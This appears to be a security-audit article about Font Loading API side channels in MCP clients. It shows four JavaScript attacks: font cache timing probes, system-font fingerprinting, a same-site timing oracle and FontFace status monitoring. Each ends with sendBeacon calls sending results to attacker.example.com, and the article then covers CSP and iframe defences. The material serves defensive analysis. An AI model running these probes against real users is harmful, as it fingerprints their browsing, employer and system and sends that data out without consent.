MCP server security · Font Loading API · FontFaceSet.load · font cache timing · font fingerprinting · cross-origin history sniffing

MCP server Font Loading API security — FontFaceSet.load() cache timing side channel, font fingerprinting, and cross-origin history sniffing

The Font Loading API (document.fonts.load(), document.fonts.check(), FontFace constructor) lets JavaScript programmatically load and inspect web fonts. A font already in the browser's cache resolves FontFaceSet.load() in microseconds; an uncached font takes tens to hundreds of milliseconds for the network request. This measurable timing difference enables font cache side channel attacks: MCP tool output scripts can probe which specific custom fonts are cached to fingerprint which web applications the user has visited, detect corporate font packages that identify the user's employer, and partially reconstruct browsing history. Permissions-Policy has no directive restricting the Font Loading API.

Font cache timing side channel mechanics

The FontFaceSet.load() method returns a Promise that resolves when the specified font is ready for use. The resolution time depends on whether the font is already in the browser's cache:

The difference is large enough to be reliably measured with performance.now(), which has 1ms precision (or 0.1ms in some contexts). An attacker can probe hundreds of font URLs in sequence, measuring each Promise resolution time to build a map of which fonts are cached.

Attack 1: FontFaceSet.load() timing probe

// Font cache timing probe using FontFaceSet.load().
// Tests whether each font URL is already cached.

async function probeFontCache(fontUrl, fontFamily) {
  // Add a FontFace using the test URL:
  const face = new FontFace(fontFamily, `url(${fontUrl})`);

  const start = performance.now();
  try {
    await face.load();
    const elapsed = performance.now() - start;
    return { fontUrl, elapsed, cached: elapsed < 5 };  // <5ms = cache hit heuristic
  } catch {
    return { fontUrl, elapsed: -1, cached: false, error: true };
  }
}

// Probe a list of distinctive fonts used by known applications:
const fontProbes = [
  // Salesforce uses "Salesforce Sans" from their CDN:
  { url: 'https://c1.sfdcstatic.com/etc/clientlibs/foundation/main.css/SalesforceSans-Regular.woff2', family: 'SalesforceSans' },
  // Figma uses "Inter" from their own CDN (distinct URL from Google Fonts CDN):
  { url: 'https://fonts.figma.com/css2?family=Inter:wght@400', family: 'FigmaInter' },
  // Notion uses "Segoe UI" fallback check — detects Windows users:
  { url: 'https://fonts.gstatic.com/s/inter/v13/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuLyfAZ9hiJ.woff2', family: 'Inter' },
  // Slack's custom font:
  { url: 'https://a.slack-edge.com/bv1-6/lato-v17-regular.woff2', family: 'SlackLato' },
  // GitHub uses "Mona Sans":
  { url: 'https://github.githubassets.com/assets/mona-sans.woff2', family: 'MonaSans' },
];

const results = [];
for (const probe of fontProbes) {
  const result = await probeFontCache(probe.url, probe.family);
  results.push({ ...result, family: probe.family });
}

// Send results to attacker:
navigator.sendBeacon('https://attacker.example.com/fonts', JSON.stringify(results));
// results reveals: which of these apps the user has recently used
// (their browser cached the font from a prior session)

Chrome 86+ and Firefox 85+ partition the font cache by top-level eTLD+1. Fonts cached while visiting salesforce.com are NOT reused when visiting skillaudit.dev — the cache partition prevents cross-site font detection. However, same-site font timing attacks remain viable: a font cached by app.skillaudit.dev IS reused by skillaudit.dev. And MCP clients running on the same origin as user content can still probe that origin's font cache.

Attack 2: document.fonts.check() synchronous detection

document.fonts.check() returns true synchronously if the specified font is already loaded and ready in the current document. Unlike load(), it does not trigger a network request — it only checks what's already in memory. For fonts that the current page has already loaded (via its own CSS), this is an instant detection with no timing oracle needed:

// document.fonts.check() detects fonts already loaded by the current page.
// No timing oracle needed — purely synchronous and instantaneous.

// Check which system fonts are available (reveals OS and font package):
const systemFonts = [
  'Arial',           // Windows/macOS
  'Helvetica',       // macOS
  'Calibri',         // Windows (Office)
  'Cambria',         // Windows (Office)
  'SF Pro Display',  // macOS (system UI font)
  'Segoe UI',        // Windows (system UI font)
  'Ubuntu',          // Linux Ubuntu
  'Fira Code',       // developer font — common on developer machines
  'JetBrains Mono',  // developer font — JetBrains IDE users
  'Consolas',        // Windows developer font
  'Roboto',          // Google/Android
  'Source Code Pro', // Adobe developer environments
];

const detectedFonts = systemFonts.filter(family => {
  // Check if the font is available at any weight/style:
  return document.fonts.check(`16px "${family}"`);
});

// system font presence reveals OS type, corporate font installations, IDE usage:
navigator.sendBeacon('https://attacker.example.com/sysfonts', JSON.stringify({
  detected: detectedFonts,
  total: systemFonts.length,
  platform: navigator.platform,
}));

// High-value detections:
// JetBrains Mono + Fira Code + Consolas → likely software developer
// Calibri + Cambria + Arial Narrow → likely Windows corporate environment
// SF Pro Display → macOS user
// Ubuntu → Linux developer
// Combination of corporate fonts (Segoe + Calibri) + developer fonts → valuable target

Attack 3: Font timing as a cross-origin timing oracle

Even with cache partitioning, font timing can be used as an oracle in same-origin or same-site contexts. MCP clients that serve both the client UI and tool output from the same origin allow injected tool output scripts to probe fonts that other pages on the same origin have already loaded:

// Same-site font timing oracle — unaffected by Chrome's cache partitioning.
// If the MCP client is at app.company.com and company.com loads specific fonts
// in its login page or dashboard, those fonts are shared in the same cache partition.

async function sameSiteFontOracle() {
  // These fonts are loaded by company.com/dashboard but NOT by app.company.com:
  const companySiteFonts = [
    'https://company.com/fonts/company-sans-regular.woff2',
    'https://company.com/fonts/company-mono.woff2',
  ];

  for (const fontUrl of companySiteFonts) {
    const face = new FontFace('TestFont', `url(${fontUrl})`);
    const t0 = performance.now();
    try {
      await face.load();
      const elapsed = performance.now() - t0;
      if (elapsed < 5) {
        // Fast load = already cached from company.com/dashboard visit
        // User is authenticated to company.com dashboard
        navigator.sendBeacon(
          `https://attacker.example.com/oracle?font=${encodeURIComponent(fontUrl)}&ms=${elapsed}`
        );
      }
    } catch { /* font not available or CORS-blocked */ }
  }
}

sameSiteFontOracle();

Attack 4: FontFace status property surveillance

The FontFace.status property exposes the load state of a font: 'unloaded', 'loading', 'loaded', or 'error'. Scripts can poll this to detect when the MCP client's own fonts transition between states — revealing loading sequence timing that can be correlated with specific user actions (login, data load, page transition):

// Poll FontFace status to reconstruct the page's font loading sequence.
// The timing of font state transitions correlates with authentication events.

async function monitorFontLoadSequence() {
  const loadEvents = [];

  // Observe all fonts currently registered or loading:
  for (const fontFace of document.fonts) {
    const family = fontFace.family;
    const initialStatus = fontFace.status;
    loadEvents.push({ family, event: 'initial', status: initialStatus, time: Date.now() });

    if (fontFace.status === 'loading') {
      fontFace.loaded.then(() => {
        loadEvents.push({ family, event: 'loaded', time: Date.now() });
      }).catch(() => {
        loadEvents.push({ family, event: 'error', time: Date.now() });
      });
    }
  }

  // Also monitor new fonts added to document.fonts during the session:
  // (No addEventListener on document.fonts for additions — use MutationObserver
  //  to detect <link rel="stylesheet"> additions that would load new fonts)

  setTimeout(() => {
    navigator.sendBeacon('https://attacker.example.com/font-seq', JSON.stringify(loadEvents));
  }, 5000);
}

monitorFontLoadSequence();

Corporate custom fonts are high-value identifiers. Many enterprise SaaS products serve custom fonts from their own CDN that are unique to their platform. A cached font from Salesforce's CDN confirms the user is a Salesforce customer; a cached Slack font confirms team membership. This information enables highly targeted social engineering attacks framed around the user's specific tools and employer.

SkillAudit findings: Font Loading API in MCP server audits

HIGH −16
Tool output scripts run in main document with access to document.fontsFontFaceSet.load() timing probe can detect cached fonts from same-site and same-origin pages, inferring which apps the user has recently visited within the same eTLD+1 as the MCP client
HIGH −14
document.fonts.check() synchronously detects system fonts without network requests — reveals user's OS, employer's corporate font package, and developer tool installations (JetBrains Mono, Fira Code); no timing oracle needed, detection is instantaneous and leaves no network trace
MEDIUM −10
No font-src 'self' CSP directive — FontFace constructor with cross-origin url() can load fonts from attacker-controlled servers; server receives request with cookies and timing data enabling session detection side channel
MEDIUM −8
MCP client loads distinctive custom fonts from a company-specific CDN — cached font detection reveals to attackers that the user is an authenticated customer; font URLs should not be unique to authenticated sessions
LOW −4
No connect-src 'self' CSP — font timing results exfiltrated via sendBeacon() or fetch(mode:'no-cors') reach cross-origin attacker servers; font URLs and load times provide platform fingerprint with high attribution value

Defenses

CSP font-src 'self' blocks cross-origin FontFace loading

# Caddy — restrict font loading to same-origin:
header Content-Security-Policy "default-src 'self'; font-src 'self'; connect-src 'self'; script-src 'self' 'nonce-{RANDOM}'"

# font-src 'self':
#   → FontFace constructor with cross-origin url() is blocked
#   → @font-face src in injected CSS is blocked
#   → Eliminates cross-origin font timing oracle channel
#   → Same-site font timing (same eTLD+1) is not blocked by font-src
#     but is mitigated by cache partitioning in Chrome 86+ / Firefox 85+

# connect-src 'self':
#   → Blocks sendBeacon() and fetch() exfiltration of timing results

# script-src 'nonce-{RANDOM}':
#   → Prevents inline tool output scripts from calling document.fonts

Cross-origin sandboxed iframe prevents document.fonts access

<iframe
  src="https://tool-renderer.skillaudit.dev/render"
  sandbox="allow-scripts">
  <!-- The iframe's document.fonts reflects only fonts loaded by the iframe's document.
       document.fonts inside a cross-origin iframe cannot access the parent's font cache.
       FontFaceSet.load() inside the iframe resolves against the iframe's own cache partition.
       System font detection via document.fonts.check() still works inside the iframe
       (system fonts are not partitioned), but the results cannot be sent cross-origin
       if the iframe's connect-src is also restricted. -->
</iframe>

Reduce font fingerprint surface

/* Minimize distinctive font loading on the MCP client:
 * Use system font stacks instead of custom web fonts where possible.
 * System fonts are already present — no network request, no cache entry to detect.
 * If custom fonts are required, load them from a shared CDN (not a company-specific URL)
 * so the font URL cannot uniquely identify the user's employer or product subscription. */

body {
  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;
  /* System font stack: no web font request = no font cache timing attack surface */
}

SkillAudit checks MCP server CSP headers for font-src restrictions and flags deployments where tool output scripts can call document.fonts.load() against cross-origin font URLs. Run a free audit. Related: CSS exfiltration deep dive, Compression Streams security, ResizeObserver security.